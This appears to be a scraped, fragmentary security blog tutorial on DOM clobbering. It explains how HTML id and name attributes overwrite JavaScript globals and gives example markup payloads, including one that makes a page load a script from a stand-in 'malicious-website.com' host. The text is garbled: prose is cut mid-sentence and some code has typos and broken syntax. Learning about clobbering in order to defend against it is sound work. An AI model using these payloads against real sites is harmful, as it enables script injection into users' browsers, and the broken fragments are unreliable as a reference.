Hack. Eat. Sleep. Repeat!!!
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>DOM tree structure</title>
</head>
<body>
<h1>DOM tree structure</h1>
<h2>Learn about the DOM</h2>
</body>
</html>
root node and contains a child node which is the <html> tag.The <html> contains the <head> and <body> elements.<head> and <body> have elements of their own.var someObject = window.someObject || {};
someObject object reference with a DOM node with an anchor.Check this code-:<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>
id and name in html tags.<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
name attributes.e.gembed
form
iframe
image
img
object
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
<a id=x>
<a id =x name=y href=controlled>
</a>
</a>
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
iframe<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
codeless markup injection.id/name collides with sensitive variables or APIs, and overwrties them.document.globalConfig = {'src': 'script.js', [...]);
// [...]
var s = document.createElement('script');
//sink
s.src = doocument.globalCOnfig.src;
document.body.appendChild(s);
<img id="globalConfig" src="malicious.js" name=clobbered>
DOM Clobbering happen?document.querySelector("[id=Y]");
document.X.Y, or window.Y
top.location = self.location